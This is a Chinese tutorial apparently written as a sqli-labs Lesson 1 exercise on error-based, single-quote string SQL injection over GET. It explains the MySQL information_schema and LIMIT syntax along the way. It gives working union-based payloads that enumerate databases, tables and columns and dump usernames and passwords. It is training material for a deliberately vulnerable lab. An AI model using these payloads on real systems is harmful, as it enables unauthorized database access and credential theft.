当前位置: 代码迷 >> 综合 >> sqli-labs练习(一)-------GET-Error based-Single quotes-String
  详细解决方案

sqli-labs练习(一)-------GET-Error based-Single quotes-String

热度:45   发布时间:2023-09-23 01:04:09.0

关于sqli-labs环境的搭建在这里不讲了,网上有很多,
初始页面
sqli-labs练习(一)-------GET-Error based-Single quotes-String
判断是否存在sql注入,
输入1,成功返回了结果
sqli-labs练习(一)-------GET-Error based-Single quotes-String
输入1',报错
sqli-labs练习(一)-------GET-Error based-Single quotes-String
输入1' and 1=1%23,返回成功,
sqli-labs练习(一)-------GET-Error based-Single quotes-String
输入1' and 1=2%23,没有返回结果
sqli-labs练习(一)-------GET-Error based-Single quotes-String
此外,除了and,还有or,+,-等,不过要注意的一点是+号在url表示为%2b,-号不用表示

根据以上结果,我们就可以判定这是字符型sql注入,即需要'来表示的参数


猜解字段—-神奇的order by字句
输入1' order by 6 %23,没有返回结果,
sqli-labs练习(一)-------GET-Error based-Single quotes-String
再次输入1' order by 3 %23,成功返回结果
sqli-labs练习(一)-------GET-Error based-Single quotes-String
在输入1' order by 4 %23,没有返回结果
sqli-labs练习(一)-------GET-Error based-Single quotes-String
从以上结果可以看出,存在3个字段

接下来借助union,继续查询
输入1' union select null,null,null%23,成功返回,但是union联合语句的查询结果没有返回,通过查看源码得知,mysql_fetch_array只被调用了一次,而mysql_fetch_array从结果集中取得一行作为关联数组或数字数组或二者兼有,具体看第二个参数是什么。所以这里无论怎么折腾最后只会出来第一行的查询结果。所以这里将第一行查询结果置为空即可
sqli-labs练习(一)-------GET-Error based-Single quotes-String
输入0' union select null,null,null%23,可以看到已经返回
sqli-labs练习(一)-------GET-Error based-Single quotes-String
输入0' union select 'aa',null,null%23,有返回,但是没有第一个字段的值
sqli-labs练习(一)-------GET-Error based-Single quotes-String
输入0' union select null,'aa',null%23,第二个字段返回值
sqli-labs练习(一)-------GET-Error based-Single quotes-String
在测试第三个字段值0' union select null,null,'aa'%23,第三个字段返回值
sqli-labs练习(一)-------GET-Error based-Single quotes-String
从上面的测试结果可以知道,第2,3字段可以存放字符串,第一列没有输出


下面就可以查询数据库的各种信息了
枚举数据库
枚举数据库并提取数据遵循一种层次化的方法,首先我们提取数据库名称,然后提取表,再到列,最后才是数据本身。要想获取远程数据库的表、列,就要访问专门保存描述各种数据库结构的表。通常将这些结构描述信息成为元数据。在MySQL中,这些表都保存在information_schema数据库中

  • information_schema:
    系统数据库,记录当前数据库的数据库,表,列,用户权限等信息
  • SCHEMATA:
    储存mysql所有数据库的基本信息,包括数据库名,编码类型路径等。

  • TABLES:
    储存mysql中的表信息,包括这个表是基本表还是系统表,数据库的引擎是什么,表有多少行,创建时间,最后更新时间等。

  • COLUMNS:
    储存mysql中表的列信息,包括这个表的所有列以及每个列的信息,该列是表中的第几列,列的数据类型,列的编码类型,列的权限,列的注释等。

提取数据库
在MySQL中,数据库名存放在information_schema数据库下schemata表schema_name字段中
获取系统数据库名
0' union select null,null,schema_name from information_schema.schemata%23
sqli-labs练习(一)-------GET-Error based-Single quotes-String
获取当前数据库名
0' union select null,null,database()%23,说明当前数据库名为scurity
sqli-labs练习(一)-------GET-Error based-Single quotes-String
获取数据库中的表
0' union select null,null,group_concat(table_name) from information_schema.tables where table_schema='security'%23
也可以将数据库名转为16进制字符串,这样就不用单引号了
0' union select null,null,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479%23
sqli-labs练习(一)-------GET-Error based-Single quotes-String
还有一种获取一个数据库中的表名的方法,一次获取一个表名,在这里要介绍一下limit的用法
LIMIT是MySQL内置函数,其作用是用于限制查询结果的条数。

1)其语法格式如下:

LIMIT[位置偏移量,]行数

其中,中括号里面的参数是可选参数,位置偏移量是指MySQL查询分析器要从哪一行开始显示,索引值从0开始,即第一条记录位置偏移量是0,第二条记录的位置偏移量是1,依此类推…,第二个参数为“行数”即指示返回的记录条数。

位置偏移量可以理解为跳过前xx条记录(元组).

2)基本用法

/*当没有指定位置偏移量时,只取4条时,可以这样写*/
SELECT * FROM YourTableName LIMIT 4;/*当指定了位置偏移量时,从第3条起取4条时,可以这样写*/
/*因为索引是从0开始计数的,所以第3条对应的索引就是2*/
SELECT * FROM YourTableName LIMIT 2,4;
3)应用场合:分页// 后台计算出页码、页数(页大小)int curPage = 2;int pageSize = 10;int startRow = (curPage - 1) * pageSize;
SELECT * FROM YourTableName LIMIT startRow,pageSize;

通过改变limit的参数来获取数据库中的表名

0' union select null,null,table_name from information_schema.tables where table_schema=0x7365637572697479 limit 0,1%23

sqli-labs练习(一)-------GET-Error based-Single quotes-String

0' union select null,null,table_name from information_schema.tables where table_schema=0x7365637572697479 limit 1,1%23

sqli-labs练习(一)-------GET-Error based-Single quotes-String

0' union select null,null,table_name from information_schema.tables where table_schema=0x7365637572697479 limit 2,1%23

sqli-labs练习(一)-------GET-Error based-Single quotes-String

0' union select null,null,table_name from information_schema.tables where table_schema=0x7365637572697479 limit 3,1%23

sqli-labs练习(一)-------GET-Error based-Single quotes-String

获取表中的字段名,user为我们比较关心的表,所以以表users为例说明
0' union select null,null,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'%23
sqli-labs练习(一)-------GET-Error based-Single quotes-String

列举表中所有用户名及口令
0' union select null,group_concat(username,password), group_concat(password) from users%23
sqli-labs练习(一)-------GET-Error based-Single quotes-String

当然,与前面提到个一样,通过改变limit的参数,一个一个来获取
0' union select null,null,concat_ws(':',id,username,password) from users limit 0,1%23
sqli-labs练习(一)-------GET-Error based-Single quotes-String

  相关解决方案